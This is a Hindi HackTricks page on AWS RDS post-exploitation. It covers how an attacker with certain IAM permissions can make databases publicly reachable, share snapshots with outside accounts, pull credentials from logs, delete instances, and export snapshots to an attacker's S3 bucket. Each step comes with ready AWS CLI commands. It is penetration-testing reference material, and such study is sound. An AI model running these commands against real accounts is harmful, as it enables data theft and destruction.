AWS - RDS Post Exploitation

HackTricks का समर्थन करें

RDS

अधिक जानकारी के लिए देखें:

AWS - Relational Database (RDS) Enum

rds:CreateDBSnapshot, rds:RestoreDBInstanceFromDBSnapshot, rds:ModifyDBInstance

यदि हमलावर के पास पर्याप्त अनुमतियाँ हैं, तो वह DB को सार्वजनिक रूप से सुलभ बना सकता है, DB का स्नैपशॉट बनाकर, और फिर स्नैपशॉट से एक सार्वजनिक रूप से सुलभ DB बनाकर।

aws rds describe-db-instances # Get DB identifier

aws rds create-db-snapshot \
--db-instance-identifier <db-id> \
--db-snapshot-identifier cloudgoat

# Get subnet groups & security groups
aws rds describe-db-subnet-groups
aws ec2 describe-security-groups

aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier "new-db-not-malicious" \
--db-snapshot-identifier <scapshotId> \
--db-subnet-group-name <db subnet group> \
--publicly-accessible \
--vpc-security-group-ids <ec2-security group>

aws rds modify-db-instance \
--db-instance-identifier "new-db-not-malicious" \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# Connect to the new DB after a few mins

rds:ModifyDBSnapshotAttribute, rds:CreateDBSnapshot

इन अनुमतियों के साथ एक हमलावर DB का स्नैपशॉट बना सकता है और इसे सार्वजनिक रूप से उपलब्ध कर सकता है। फिर, वह उस स्नैपशॉट से अपने खाते में एक DB बना सकता है।

यदि हमलावर के पास rds:CreateDBSnapshot नहीं है, तो भी वह अन्य बनाए गए स्नैपशॉट्स को सार्वजनिक बना सकता है।

# create snapshot
aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>

# Make it public/share with attackers account
aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
## Specify account IDs instead of "all" to give access only to a specific account: --values-to-add {"111122223333","444455556666"}

rds:DownloadDBLogFilePortion

rds:DownloadDBLogFilePortion अनुमति वाला एक हमलावर RDS इंस्टेंस की लॉग फ़ाइलों के हिस्से डाउनलोड कर सकता है। यदि संवेदनशील डेटा या पहुँच क्रेडेंशियल्स गलती से लॉग किए जाते हैं, तो हमलावर इस जानकारी का उपयोग करके अपनी विशेषाधिकारों को बढ़ा सकता है या अनधिकृत क्रियाएँ कर सकता है।

aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text

संभावित प्रभाव: संवेदनशील जानकारी तक पहुँच या लीक किए गए क्रेडेंशियल्स का उपयोग करके अनधिकृत क्रियाएँ।

rds:DeleteDBInstance

इन अनुमतियों के साथ एक हमलावर मौजूदा RDS इंस्टेंस को DoS कर सकता है

# Delete
aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot

संभावित प्रभाव: मौजूदा RDS उदाहरणों का हटाना, और डेटा का संभावित नुकसान।

rds:StartExportTask

TODO: परीक्षण करें

इस अनुमति के साथ एक हमलावर RDS उदाहरण स्नैपशॉट को S3 बकेट में निर्यात कर सकता है। यदि हमलावर के पास गंतव्य S3 बकेट पर नियंत्रण है, तो वे निर्यात किए गए स्नैपशॉट में संवेदनशील डेटा तक पहुंच प्राप्त कर सकते हैं।

aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id

संभावित प्रभाव: निर्यातित स्नैपशॉट में संवेदनशील डेटा तक पहुंच।

HackTricks का समर्थन करें

Last updated